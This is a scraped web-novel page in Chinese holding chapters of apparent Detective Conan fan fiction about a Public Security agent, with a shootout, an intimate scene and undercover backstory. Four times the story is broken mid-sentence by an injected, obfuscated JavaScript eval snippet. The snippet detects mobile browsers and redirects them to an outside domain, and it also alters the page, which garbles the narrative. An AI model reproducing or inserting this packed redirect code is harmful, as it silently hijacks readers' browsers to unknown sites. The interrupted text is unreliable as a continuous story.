公安这边的工作氛围比组织里要好得多,青木修刚进入组织犯罪对策小组的时候,和他想象中不同,这里的同事们大多对他都只是善意的好奇。 公安内部并没有非常严格的小组界限,经常出现这个组的调查目标最后需要拉来其他组帮忙,青木修的故事他们或多或少都从零组那边听到过一些。 即便是见到了青木修真人,绝大多数都克制住了自己的好奇心——当然,也有少数人没忍住。 “青木!” 坐在青木修对面的年轻警官探出头,听到声音的青木修立刻抬头,略有紧张地盯住他。 “别紧张,我是池田润,刚来公安一年,很高兴认识你!” “你好,池田。” 青木修拘谨地笑了下,安静地等待着他的下文。 “听说你可是救了降谷先生和诸伏先生的人!能给我讲讲能讲得部分吗?” 此言一出,办公室里的其他人都不约而同放轻了自己的动作,尽量保持安静,以此能听清青木修接下来的话。 “这……” 青木修想起诸伏景光一早的叮嘱,“要是他们好奇问起来,那些已经解除保密的部分你挑着说一些就行。” “……我和诸伏他们是在任务里认识的。” 他一边想一边说,声音很低,速度也不快,但是大家都很耐心地听着。 “我也没有那么大的能力,只是做了些力所能及的事情……他们都是很好的人。” 他透露的并不多,却足够大家想象。 再结合零组那边的一些风声,他们看着他的眼神里又多了几分关怀。 青木修在警察医院里抢救住院的内容并没有划入绝密范围内,参与过组织案件的相关人员都可能再最后整理档案的时候看到。 一开始组织犯罪组都把青木修看作需要照顾的小可怜,就连比他小的女警们都热衷于带各种各样的吃的来投喂他。 不过组织犯罪组的工作重心还是放在出现场任务上,办公室的生活虽然安逸,但不长久。 “准备一下,最新消息,昨天晚上发生在机场附近的爆炸涉及到我们正在追查的那个组织。” 青木修保存文档、关电脑的动作一气呵成,从椅背上拿起外套跟着池田润一起冲出办公室。 “青木,紧张吗?” 池田润和他一起坐在后排,这是青木修第一次跟着他们出现场任务,他的好奇心简直比青木修本人还要旺盛。 “这个组织……不就是涉黑涉药吗?” “可不止这样~” 池田润伸出一根手指,神秘兮兮地摇了摇,“据说他们还有很强的火力!” “嗯……”青木修友善一笑,“那确实应该要小心啊。” 他的态度看起来非常真诚,池田润拍拍胸脯,“放心好啦!我可是见过大场面的人!到时候跟紧我!” 在前排开车的组长听到,差点没忍住笑出来,不过顾及到池田润的自尊心,他还是生生憋住了。 青木修注意到他的动静,利用后视镜看过去,对着他提了下嘴角。 “主要是警视厅那边说是在爆炸现场发现了一些疑似未受损的交易货物,并且有情报显示那些人正在向这里靠近,应该是想回收这些东西吧。” “明白。” 青木修敛去笑容,明明没什么表情变化,却让坐在他身边的池田润无端感受到一股威慑。 从警视厅那边的消息来看,现场遗留的交易物并不多,公安这边只是出动了八个人来应付现场。前一组比青木修他们四个人先到,负责和警视厅那边做交接——原本计划是这么安排的。 但是等到组长开着车靠近那处爆炸点的时候,青木修就隐隐听见了枪声。 “呼叫支援!” 与此同时,放在车前的对讲机响了起来,大声呼救着。 背景声音十分嘈杂,他们没能第一时间分辨出说话的是谁,不过内容倒是听得清楚。 “交易物属高度危险品!对方有很多人!火力很强!” 不需要太田组长提醒,副驾上的家山德子立刻开始呼叫增援。 “小泉!你们那边是什么情况?有没有受伤?” “太田组长!我们有两人受伤!搜查一课的三位警官全部负伤,其中一人倒在交火区!暂时没办法把他拉过来!” 太田组长一个摆尾把车停好,几人一跃而下,冲着声响小跑而去,同时弹匣压满手枪上膛。 “啧。” 他们猫着腰和先到的一批人汇合,太田组长抬手对着对面点射两发子弹又缩了回去,从缝隙处看着前方密密麻麻的火星低叹一声。 警视厅搜查一课的那个倒霉蛋就倒在不远处,看上去伤势不轻,但还有呼吸。只是他面前没有任何遮挡物,现在没办法直接冲过去。 “小心——” 他走神思索间,一旁的家山德子眼疾手快推了他一把。 “轰——” “什么玩意儿?!” 吃了一大口灰的太田“呸呸”两声,不可置信地看着那个被炸出来的坑。 这下子连带着机场那边可能都要暂时管制了。 更不巧的是,现在正逢上下班高峰,支援还在路上。 青木修尝试从掩体后接近那个倒下的警察,但都是还没伸出头就被子弹逼退。眼看着那位警察呼吸起伏逐渐变弱,他匍匐到了太田组长身边。 “能特事特办吗?” 太田还在抹眼睛,“那当然,不然我们——” “那就好。” “等等你干什么去?!” 太田隐隐觉得不对,连忙去拦,却连青木修的衣角都没有摸到。 “池田!” 他回头低喝道,“跟着青木!” 池田润忙不迭追了出去。 青木修在前面跑,冷不丁注意到背后有脚步声,头也不回就要开枪。 “青木!是我!!” 他搭在扳机上的食指连忙松开。 “池田?!你来干什么?” 灰头土脸的池田润追上他,“我还没问你要干什么呢?组长让我跟着你。” “救人。” 其实青木修觉得有没有池田润帮忙区别并不大,不过他不得算拂了组长的好心,只是让池田躲在自己身后。 青木修带着他绕了一个大圈,最后绕到了那伙极道的后方。 “你要搞偷袭啊?” 池田润这时候终于回过味儿来,一把拉住他,“我们只有两个人!对面至少十个往上!” “我知道,所以想请你帮个忙。” 青木修自觉比池田润要大一些,应该照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624472|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾他。 “嗯?” 果然,池田润的注意力立刻被分散,“需要我做什么?” “看见那个人了吗?”青木修指向靠边的一个男人,“随便打他哪里,别打死了就行。” 现在不比在组织的时候了,不能出手就置人于死地。 “这个距离……” 池田润没有莽撞地第一时间答应,而是经过仔细掂量之后才点点头,“可以,放心交给我。” 青木修又拉着他对了一次表,“三十秒,立刻开枪。” 这时候池田润也认真起来了,就地找到一个合适的位置把手枪端稳。 青木修从腰后摸出一根□□,“唰”一声全部抖出来,放在手里掂了掂。 “计时开始。” 丢下这句话,他如离弦之箭一样冲了出去,直奔前方体型最大的那位。 池田润眼睁睁看着青木修看似没有任何准备就跑过去,手里的甩棍直直敲上那个大块头的后腰,甚至在对方还没有意识到疼痛之前,他的脚尖也踢上了对方的膝窝。 还是这个大块头发出了惨叫,其他人才发现自己的后背被人偷了。 他们当即就要调转枪口,不过青木修比他们更快一步,警棍像是敲鼓一样流畅地敲过了一排后腰。 三十秒倒计时结束,子弹出膛,径直贯穿目标的小腹。 池田润开完枪就想冲上前一起帮忙,谁料前一秒看上去还身陷包围的青木修后一秒就已经回来了。 他这一去一回给组长那边分担了一些火力,太田组长和家山德子两个人终于能抓住对面换弹的空挡,强行把那个警察拖了回来。 “呼……” 伸手摸了摸对方的脉搏,太田组长松了一口气。 太好了,还有救。 他也没忘记池田润和青木修两个人。见到支援的瞬间,他立刻告知对方还有两位公安,应该在更远一点的地方。 和太田组长预计的差不多,支援找到青木修和池田润二人的时候,他们确实正在以二敌多,不过没怎么看出狼狈和勉力支撑。 青木修把手臂擦伤的池田润护在了身后,一手甩棍一手持枪,竟是也没让对方占到便宜。 池田润看着身前一棍一个“小朋友”的青木修,突然觉得自己在来的路上把话说大了。 青木修还没有注意到正在接近的支援们,他一枪放倒一个人,同时右手甩棍挡开一个。只见一个已经摔倒的极道成员正要爬起来,青木修手臂一抬手腕一压—— 甩棍重重落在对方的肩膀上! 他的脸颊上不知道沾上了一点谁的血,正好在那道疤痕上。 搭配上青木修毫无情感的灰眸,他此刻的形象在那些已经倒地的人眼里就是一个活脱脱的死神,每一次抬起的手臂都像是死神在挥舞他收割生命的镰刀。 不过青木修没让他们如愿,他极有分寸地留下了所有人的性命,一个不落把他们送上了救护车。 “没事了。” 目送救护车远去,青木修把甩棍上的血擦干净,回头看向池田润的时候又恢复了那副温和。 “……” 池田润吞了口口水,和身边的家山德子对视一眼,接从对方眼中看出惊诧。 青木修哪里是需要他们照顾的小可怜?分明是能单杀一干人的高达! 86.第 86 章 阳光再一次照耀大地,有关组织的一切都已经成为过去。 但是青木修和诸伏景光还是过了一段并不太轻松的日子。 一种名为“组织”的慢性毒药在无形中给他们带来了太深的伤害和影响,看得见的毒刺已经被拔出,然而内含的毒液已经注入进他们的体内,并留下了不浅的伤口。 两人刚住在一块儿的时候,青木修几乎是整夜无法合眼,他旁边的诸伏景光也没好到哪里去,总是睡不了多久就会惊醒,等到第二天双双顶着黑眼圈去公安上班的时候,再和同样顶着肤色都压不住的黑眼圈的降谷零一碰面。 “……zero你也?” “是啊……我也。” 降谷零难得看起来没有那么精神饱满,一边打着哈欠一边走到自动贩卖机前买咖啡。 他们能回到岗位的前提是已经通过了公安心理医生的检查。 ……真的吗? 几个人心里都有答案,心理医生帮不了他们。 “不过你们俩……” 降谷零扭头把罐装咖啡朝着两人丢过去,“我有哈罗,已经好转不少了,你们俩怎么看起来比我还严重?” 这几天他都没有去早起遛狗——半夜醒来的时候,他就把哈罗拉过来蹂躏一番,或者是放盆水给茫然的小狗洗个澡。 诸伏景光看向青木修,后者立刻心虚地移开眼。 某人装睡装得炉火纯青,诸伏景光试了好几次都没能把人当场抓住。 “……” 降谷零半月眼,“hiro我先走了啊。”他今天还有一个外勤要出。 等到降谷零走远,诸伏景光迅速四下扫视一圈。 很好,没人。 青木修顿时汗毛倒竖,扭身想跑,但是已经来不及了! “啪!” 诸伏景光直接把他拖进了茶水间。 “你不是说自己睡的挺好吗?还问我发生了什么把你叫起来。” 诸伏景光看着青木修血丝明显的眼睛,他本就生得白,眼下的黑眼圈更是明显。 “是……” 青木修一句“是挺好的”还没说完,就被诸伏景光一个眼神吓了回去。 “不想让你担心……” 他声音很低,带着歉意。 诸伏景光没说话,一点一点地拉近两个人之间的距离。 青木修紧张地连呼吸都忘记了,眼睛一眨不眨地看着他,不知道他想要干什么。 额头上传来温热的触觉——诸伏景光落下了一个吻。 青木修的呼吸陡然变得急促,气息喷洒在诸伏景光的脸上。 “或许我们应该换一个解决办法?” “什么?” 诸伏景光点点自己的唇,似乎是在暗示什么。 青木修睁圆了眼睛,思考了几秒还是拉过了诸伏景光的领带—— 他吻上了他的唇。 这一次轮到诸伏景光惊呆了。 他本意是想是青木修两个人是不是可以尝试更进一步,但不想青木修会错了意。 不过没关系,送上门来的兔子不要白不要。 他立刻反客为主,掌握主动权,把青木修亲得七晕八素。 “呼……” 两人分开的时候,青木修呼吸都乱了,脸颊上布了一层薄薄的粉,眼睛里都蕴着一汪水光,再看诸伏景光,满脸餍足,看着倒是精神了不少。 说是在接吻,不如说是不着章法地啃咬。 后果就是青木修的嘴唇不出意外的肿了。 原本他的唇色一直都是不太健康的淡粉色,现在到好,红润极了。 青木修没办法,只能顶着同事们揶揄的目光强装镇定走到工位上坐下。 他本来面皮就薄,这样一来一上午脸上的红意几乎就没消过。 午餐时间,诸伏景光主动端着盘子过来道歉,青木修一开始还能倔强地撇过头不理他。 要是诸伏景光追得紧了,他就干脆换个方向背过去。 惹了人的诸伏景光看着青木修故作生气的背影,莫名联想到了曾经看到过的一只德牧。 别看某个人口是心非,两只耳朵却立的高高得,时刻关注着他这边的动静。 “今天晚上想不想吃小蛋糕?” 青木修一秒回头,“草莓的!” “好。” 不知道是不是他的错觉,诸伏景光的笑似乎别有深意。 组织犯罪向来不分时段——一如组织,没有任何“节日”的概念。他们只需要考虑今天是不是个杀人越货的好天气就行了,而警方要考虑的就多了。 出完外勤的青木修抹了把额头上的汗,锁上了押运车的后门。 不枉他们加了半个多月的班,今天终于抓到了一个有点分量的人物。 “青木,诸伏先生等你好久了。” 他们收队回警察厅的时候,已经过了正常下班的点,还是留在办公室里的同事提醒了青木修一句。 “谢谢了!” 青木修抄起搭在椅背上的外套,出门直奔诸伏景光的办公室。 “景光!久等了!” 诸伏景光非常顺手地接住他,“还顺利吗?” “还行,终于抓到了一个小头目。” 这个团伙极其嚣张,在其他的地方作案时还多次挑衅警方,不过最后还是在青木修手里吃了跟头。 其实最开始的时候青木修每天上下班都会戴口罩——他怕脸上的疤痕吓到路人。 不过诸伏景光等一干公安再三保证他的脸并不吓人,最后还是让他打消了戴口罩的习惯。 他们没有说谎,那道疤虽然长,横亘青木修的一侧脸颊,但没有增生那样显眼的粉,看上去并不骇人,反倒给他的面容增添了一丝故事感。 “想吃哪一家?” “昨天那家便利店的,我看到他们说今天会上新品,顺道还能把晚饭解决了。” 公安的工作并不清闲,他们俩也只是休假在家时才会自己做饭,平时和大家一样,都是食堂加便当解决生存需求。 一进门青木修的注意力就被放甜品的冰柜吸引,诸伏景光拿了什么便当他根本就没注意,挑选好东西也是诸伏景光结的账,青木修正低着头和同事们聊天。 如果青木修知道晚上会发生什么的话,他一定会亲自结账。 吃完晚饭,青木修按照平时的习惯打开电视,一把抱起小橘——在两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636873|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位铲屎官的精心照料下,小橘终于展现出了他的物种本性,成为了一只有着蒜瓣毛的圆润大橘。 “去洗澡。” 诸伏景光把小橘从他的怀里捞出来,不顾小橘的大声抗议把他塞进了猫窝里。 “干什么?” 青木修嘴上问着,但还是很听话地起身去找换洗衣物。 “我把水温调高了一点。” “为什——” 青木修正要探出头问他,之间诸伏景光一个闪身也跟着进来了。 “防止着凉。” 猫眼警官依旧笑得温和,但手里拿着的东西却暴露了他的本意。 青木修懵了一瞬,视线在诸伏景光手里的那盒东西和他的脸之间来回转动。 “可以吗?” 诸伏景光明明只是很寻常地征询青木修的意见,但青木修却清楚自己根本没有拒绝的理由。 想通了这一点,他干脆地拥住诸伏景光去吻他的唇,顺道反手打开了淋浴。 这一行为在诸伏景光眼里无异于邀请。 浴室的温度在上升,氤氲的水汽模糊了镜子,唯余两人交织的喘息。 青木修被诸伏景光牢牢锁住,别说逃跑了,他连挣扎的空隙都没有。 过于强烈的感觉占据了他所有的思绪,青木修已经在完全靠着直觉行事了。 他昂起修长的脖颈,把自己最脆弱最致命的地方暴露在诸伏景光的面前。 细细密密的吻从脸颊的伤疤处一路向下,停在了他左胸的枪伤上。 “它在跳……” 青木修捉住诸伏景光的手,用力摁在自己的胸口,“它在跳动。” 掌下心脏跳动的感觉不是错觉,一下又一下,平稳有力。 见诸伏景光停下了动作,青木修动了动,掰过他的头去吻他。 “它在跳动,我也在呢。” 他知道诸伏景光在怕什么,索性用了些力气在他唇上咬了一口。 “看着我……景光,看着我。” 他捧着诸伏景光的脸,“这都是真的。” 两人视线相撞,诸伏景光迟缓地眨眨眼睛,仿佛终于从噩梦中挣脱。 在回过神的下一秒,他忽然发了狠似的摁住了青木修。 “青木……青木……青木修……” 他看着青木修灰色的眼睛,不断呢喃。 “我在。” “我在。” …… 青木修回应着他的每一句呼唤。 诸伏景光的动作算不上特别温柔,但青木修很喜欢。 他也需要一些东西来提醒自己眼前的一切并非虚幻。 他们拥抱着自己的真实。 修长的手搭上浴室的墙壁,指尖泛着粉,微微颤抖着,不多时又无力地滑落下去,一遍又一遍。 最激烈的时刻,诸伏景光甚至轻轻咬住了青木修的喉结,感受他每一次呼吸的起伏,和吞咽时的滚动。 水声很好地掩盖住了两人的动静,客厅里的小橘“喵”了好几声,似乎是在抱怨诸伏景光方才的行为,不过好半天也没看到两位铲屎官,他只好把自己团了团,缩成一团,伴着浴室里隐隐约约的水声先一步入睡。 87.第 87 章 “你们五个人!能不能稍微安分一点啊!” 鬼冢八藏的咆哮声穿透了整个走廊,不过动静虽然大了点,其他的教官们倒是都已经习惯了——新一届的著名五人组嘛。 “说到底也算是好事一件啊……” 松田阵平站在最旁边,趁着鬼冢八藏远离自己的间隙撇嘴小声嘀咕了一句。 眼看着鬼冢八藏就要回头,一旁的诸伏景光连忙拉了他一把,这一拉不巧,刚好被鬼冢八藏抓了个正着。 “诸伏景光!”他一脸痛心疾首,“你们又在打什么主意?!” 他就是被这个学生的乖乖脸骗了!分明是五个人里最野的那一个! “扣扣。” 好在这时候出现在门边的警察及时救下了他们。 “还有一个星期就毕业了……你们几个!”鬼冢八藏的视线在降谷零和诸伏景光身上多停留了一秒——他听到了一些风声,“给我老老实实的!省心一点啊!” 说罢便摆摆手,让他们五个人散了。 “抱歉,请稍等一下。” 门口的警官向着鬼冢八藏打了个招呼,从后者的表情来看,两者应该不认识。 “警察厅公安——想要和这五个学生谈一谈。” 贵重八藏虽说平时对他们比较严厉,但本质上还是非常护犊子的,闻言立刻紧张起来,“他们又闯什么祸了?” “请您放心,”警官笑了下,“只是一些例行工作,一会儿也会另外有人来找您,还希望您在这里稍等一会儿。” 鬼冢八藏立刻把眼前的公安和自己听到的传闻联系起来,表情瞬间放松不少,对着站在门口的五个人一摆手,“没事了,你们五个跟着他走就是。” 被莫名其妙留下来的五个人都是一头雾水,不就是见义勇为吗?笔录做了检讨也写了,这又是要干什么? 不过在离开办公室的一路上,在前方带路的警官没有再没有说一句话,他们也只能把疑惑都憋在心里。 “这边。” 他们被一路领着离开了警校,坐上警车,来到了警察厅。 “黑田长官,他们五个来了。” 带路的警官推开了一扇需要身份验证的厚重铁门,扬声冲着里面喊了一声,转手就把正努力克制自己眼睛不要乱看的五个人推了进去。 “降谷零、伊达航、松田阵平、萩原研二和诸伏景光。” 办公室里,一位独眼警官坐在办公桌后,桌面上摆着他们五个人的详细资料,在他身后,还有一位背对着他们的警察。 “我是这里的负责人,黑田兵卫,这次把你们叫来是涉及到周末发生的案子。” 站在窗前的男人回身,露出了一张几个人都非常眼熟的脸。 “是你——” 几人几乎在瞬间就摆出了戒备姿态,这个男人就是他们在案发现场向警方描述的嫌疑人之一! “我要说的就是这件事,他是我们一位正在执行秘密任务的公安,任务中被你们几个撞见,现在需要麻烦你们来签一份保密协定。” 男人冲着他们微微一笑,看到黑田兵卫点头之后拉下了一些衣领—— 他的手上多了一副易容。 “你们好,我是警察厅零组公安,青木修。” 男人有一双灰色的眼睛,脱下平庸的易容,露出原本俊朗的五官。 诸伏景光看着眼前这张脸,慢慢长大了嘴。 “你——你是——” 黑田兵卫第一时间看向青木修,面露疑惑。 “嗯,当时帮我报警的就是诸伏景光的父母。” “这一份保密协定……” 先一步看完了保密协定的伊达航疑惑道:“怎么还有小降谷和诸伏的份儿?” “这个嘛……” 降谷零有些心虚地抓抓头发,默不作声往诸伏景光身后移了两步。 “来找我们的部门是公安。” 诸伏景光也不知道哪些能说哪些不能说,只能含糊一下。 倒是黑田兵卫给剩下三个人解了惑。 “我们本来就有在这一届毕业生中招收新人的计划,青木先向我推荐了你们几个,最后我们定下来了降谷零和诸伏景光,毕业之后他们俩也需要和青木执行同一项任务,所有的档案都要暂时封存,你们之间比较熟悉,所以需要单独过来签字,保证以后未经通知,在任何情况下都不得透露关于他们的消息。” “好啊景老爷,”萩原研二搭上诸伏景光的肩膀,“你和小降谷背着我们偷偷搞大事啊。” 松田阵平倒是没说什么,只是向着降谷零露出了一个“金毛混蛋你死定了”的微笑。 诸伏景光这时候的注意力还在青木修身上。 “你怎么……” “我后来被公安收养了,做了身份。” 后者说完这句话,把目光转向坐着的黑田兵卫,“诸伏夫妇带学生参观制药公司的时候遇到了我,后来感觉不对帮我报了警,我被救出来的时候他们来看过我一次,当时就带着景光。” 黑田兵卫这时候也想起来了青木修的早前资料,看向诸伏景光,“还要谢谢你父母,帮我们捣毁了一个追查的拐卖链。” 他把几份保密协定往前推了推,“你们以后就是同事了。” 话说到这个份上,他们也没什么问题了,利落地签了字。 临走时,诸伏景光像是想起了什么似的突然转身—— “青木哥,你是不是鬼冢教官说的那个转学生?” 鬼冢八藏之前有一次训他们五个人的时候随口提过一句,要不是上一届那个学生转学了,说不定还跟他们五个人有得聊。 青木修眼睛一弯,还有一点没藏好的惊讶,“你怎么猜出来了?” 这次轮到诸伏景光当谜语人了,“下次见面再告诉你。” 送走了五人组,青木修重新带好易容,坐在黑田兵卫对面,翻看着几个人的资料。 “会被他们五个撞见纯属意外,”一回想起当时的场景他就有些头疼,“本来任务已经顺利完成,组织里的那个搭档非要说‘给警察一个惊喜’,回去摆弄尸体,这才正好和抓小偷的几个人撞上。” 黑田兵卫对此表示理解,光是他们收到的情报就表明青木修已经不是第一次被那个组织里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654039|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所谓的搭档坑了。 “有没有人怀疑过你的身份?” “还能有谁?琴酒呗。” 青木修原本就是那个组织培育的实验体,误打误撞遇见了诸伏夫妇,这才被警方救了出来。 原本让青木修回去卧底是一步险棋,但是公安这边实在是没办法了:组织这些年凭借着实验组的成果不断壮大,拉拢了不少重要人士,而之前派进去的卧底都接连折戟,最后还是对组织有一定了解的青木修自告奋勇。 “下个星期他们就毕业了,算上训练时间,最多应该还有半年。” 黑田兵卫心里很清楚真实环境远比青木修表现出来的艰苦,不然他们也不会折那么多人。 “嗯,不着急,我这边还能应付。” 他希望得到的是帮手,而不是白白送死的同僚。 “当初怎么想着推荐他们的?” 黑田兵卫想不明白,诸伏夫妇对青木修可以说有救命之恩,按照正常思维来说,不应该让恩人的孩子涉险啊? 青木修叹了口气,“我不推荐他们,你们也会把目标落在他们身上。” 公安带着他离开了长野,不过青木修却一直关心着诸伏一家的情况,更不用说后来诸伏景光进了警校,消息什么的就更灵通了。 作为诸伏景光幼驯染的降谷零自然也在他的观察之中,其他三位也陆陆续续进入了青木修的视线。 “从数据方面来说,我对景光和零都比较了解,松田他们三个的资料我也都看过很多遍,综合分析下来,他们五个人进入你们视线范围的可能性最大,我还不如提前向你们推荐人选,好让负责的那边走心一点,好好培养啊。” 他放下那些已经烂熟于心的资料,抬眼看黑田兵卫,“毕竟您知道大多数人的水平。” 黑田兵卫也很无奈,警察群体能力有待提高是不争的事实,青木修没说错,就算他不特意提起,公安兜兜转转,最后还是会找上诸伏景光他们几个。 “你不是说正好也要有事找我?” 原本只是黑田兵卫想把青木修叫来提前和诸伏景光两人见一面,不想后者也正好说有事情需要汇报。 “组织那边有招募新人的想法……朗姆和琴酒的分歧越来越大,都想发展自己的势力,只是贝尔摩德那边的意思是BOSS并不想看到他们两个人带着行动组和情报组闹得太难看,自己分别招人可以,但是还是要受BOSS统一指挥。” “朗姆这次也有动作?” 黑田兵卫闻言停下了手中的动作。 “没错,他和贝尔摩德之间的关系也很微妙,后者并不能算完全意义上的情报组成员。这是一个很好的机会,当然,竞争也会很激烈。” 组织百分之九十八的情报来源都是情报组,在里面地位越高,能接触到的内容也就越机密。 这对于诸伏景光和降谷零而言是一个良机。 “我会安排他们进行针对性训练,你自己也多加小心。” 青木修的手机已经响了十多秒,他向这黑田兵卫打了个手势,匆匆从暗门离开了警察厅。 “琴酒,找我有什么事?” 88.第 88 章 青木修再见到诸伏景光已经是大半年后了。 这天琴酒把他叫回了基地,青木修一眼就看到了站在琴酒身后的诸伏景光,以及一旁的降谷零。 “这几个家伙——?” 青木修的视线在眼前的三个人身上一一扫过,最后停在琴酒身上。 “BOSS的命令,从行动组和情报组中抽人组成一支小队,暂时交给你。” “嘶……” 青木修歪歪头,“以前没见过,新来的?” “你让他们自己和你说吧。” 琴酒的任务已经完成,无意在此多留。 “我的代号是杜林标,你们几个不打算做个自我介绍吗?” 他鞋尖在地面上碾了碾,看上去有些漫不经心。 “诸星大,代号莱伊,行动组狙击手。” 距离青木修最近的高个黑发男人先开了口。 “安室透,代号波本,情报组。” “绿川光,代号苏格兰,行动组狙击手。” 青木修的眼睛微微眯了下,“三瓶威士忌?” 他在心底发笑,三瓶威士忌,两瓶假的,是哪个天才分的组? 不过他的腹诽面上没有显出来,“刚刚那个家伙已经说的很清楚,你们暂时归我管了。” “明白。” “你们现在住哪儿?” 按照惯例,一支小队的人往往都是住在一起的。 诸星大报了个地址。 青木修发现他说的地方和自己现在的安全屋有点远,只好先搬个家。 总而言之,四个人开始了磕磕绊绊的磨合之路——其实主要是降谷零和那个诸星大有点气场不合,诸伏景光和青木修就是那个拉架的。 诸伏景光明显觉察出青木修很高兴,没有什么直接证据,但他就是知道青木修很高兴。 卧底的工作并不轻松,更不要说青木修这样本身就脱身于组织,整天带着个易容在高空走钢丝的人,一个不留神就是一个死。 但青木修仍旧尽己所能在帮他和降谷零两个人,甚至在任务偶有纰漏的时候还会帮他背锅。 “青木哥……” 好不容易是一个降谷零和诸星大出任务的日子,诸伏景光拉住了青木修。 青木修回过头,很温和地望他。 诸伏景光一下子哽住了,打好的草稿瞬间忘了个一干二净。 似是看出他的窘迫,青木修善解人意地岔开了话题,“想不起来的事情都不重要——这几天还好吗?” 诸伏景光儿时诸伏夫妇重伤濒死的事故还是给他留下了床上,从杀掉第一个任务目标之后,诸伏景光有时会被梦魇困住,有时候会惊醒。 由于这还住着诸星大这个“外人”,青木修只好夜夜起来看一看他。 “已经好多了。” 有一点不可否认——青木修对诸伏景光非常偏爱。 组织里也有人拿这开玩笑,青木修索性就用了贝尔摩德常用的理由: 苏格兰长得特别和我眼缘。 甚至他还万全地想好了被问到对波本和莱伊怎么没想法的说辞。 “贝尔摩德,我对娃娃脸和琴酒替身没兴趣。” 被问及这句话的时候,诸伏景光就坐在青木修身边。 “是吗?” 金发的女郎举起酒杯摇了摇,酒液折射出朦胧的光。 “不可以吗?” 这边青木修正绞尽脑汁和贝尔摩德打着太极,坐在另一侧的诸伏景光看上去还在事不关己地喝酒,实际上脑子都快要冒烟了。 他知道青木修这些话都是拿来应付组织和贝尔摩德的假话,青木修会对自己这么好是因为自己的父母救了他。 但是……但是…… 他缓缓低下头,捂住脸。 但是自己似乎对青木修起了什么不该有的心思。 “既然这样……” 贝尔摩德意味不明的声音让他回了神。 两个装满了琥珀色酒液的岩石杯被推了过来。 “‘锈钉’就当做我对你的祝福吧。” “多谢。” 青木修没有跟她客气,直接一饮而尽。 贝尔摩德看上去已经得到了自己想要的情报,打了个招呼就离开了。 只是这里依旧是组织的地盘,丝毫不能放松。 诸伏景光看了半天也没看出来这杯酒有什么与众不同,最后只是浅尝了一口——甜的。 “悠着点。” 青木修的声音忽然在耳畔响起,温热的呼吸甚至打在了诸伏景光的耳朵上,吓得本就有点心虚的他差点没把手里的杯子扔出去。 “酒有问题?” 他冲着青木修比口型。 “没有,只是它的基酒是四十度的苏格兰威士忌,小心别喝醉了。” 诸伏景光还想问“锈钉”里除了苏格兰威士忌还有什么,不过被一个紧急任务打断了。 组织里向来是这样,没有任何上下班的概念,所有人都得随叫随到。 不过青木修确确实实做到了一个前辈应该做到的所有事,转眼又是几年过去,降谷零朗姆手下的第一人,诸星大——或者应该叫赤井秀一更合适,成为了琴酒的左膀右臂,诸伏景光中途资料泄露,但也在他的极力掩护下顺利撤出到外围继续工作。 发现莱伊也是卧底,纯属一个乌龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665789|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 警察厅那边突然传来了数据中心被侵入的消息,青木修第一时间去寻找诸伏景光和降谷零,但两人都联系不上,反倒让他找到了赤井秀一。 还是正在和FBI交换情报的赤井秀一。 青木修当机立断冲过去,直接把两个人撩倒在地。赤井秀一冷不丁被偷袭,回过神之后和青木修打的有来有往,和他交换情报的男人想趁机撤离,却被青木修挟持住,和赤井秀一形成了对峙。 “赤井先生!不要管我!你快走!” 只见赤井秀一眉心一跳,抬眼果然发现青木修正似笑非笑地看着自己。 这时候想走已经不现实了,他只能选择再一次和青木修扭打在一起。 缠斗间,那个看上去智商有点着急的男人再一次掉了链子,掉下来了一个什么东西。 他眼疾手快想要去捡,但青木修比他更快一步,抬脚踩住了,往回一勾。 “……F、B、I?” 青木修看着脚下证件封面上的几个大字,缓缓冒出一个问号。 赤井秀一几乎要摆出杀招了,却见青木修忽然收了手,捡起证件,快速判断了真伪就还给了那个欲哭无泪的男人。 “你果然也有问题。” “?” 赤井秀一动作一顿,什么叫“也”? “所以我应该叫你赤井探员?” 青木修主动示好,“早说啊。” 他这一百八十度的态度转变让赤井秀一有点摸不着头脑。 “你是?” “警察厅公安,青木修。” 青木修摸了摸自己的衣兜,发现并没有什么特别有效的证件,“要不你跟我去警察厅一趟?” 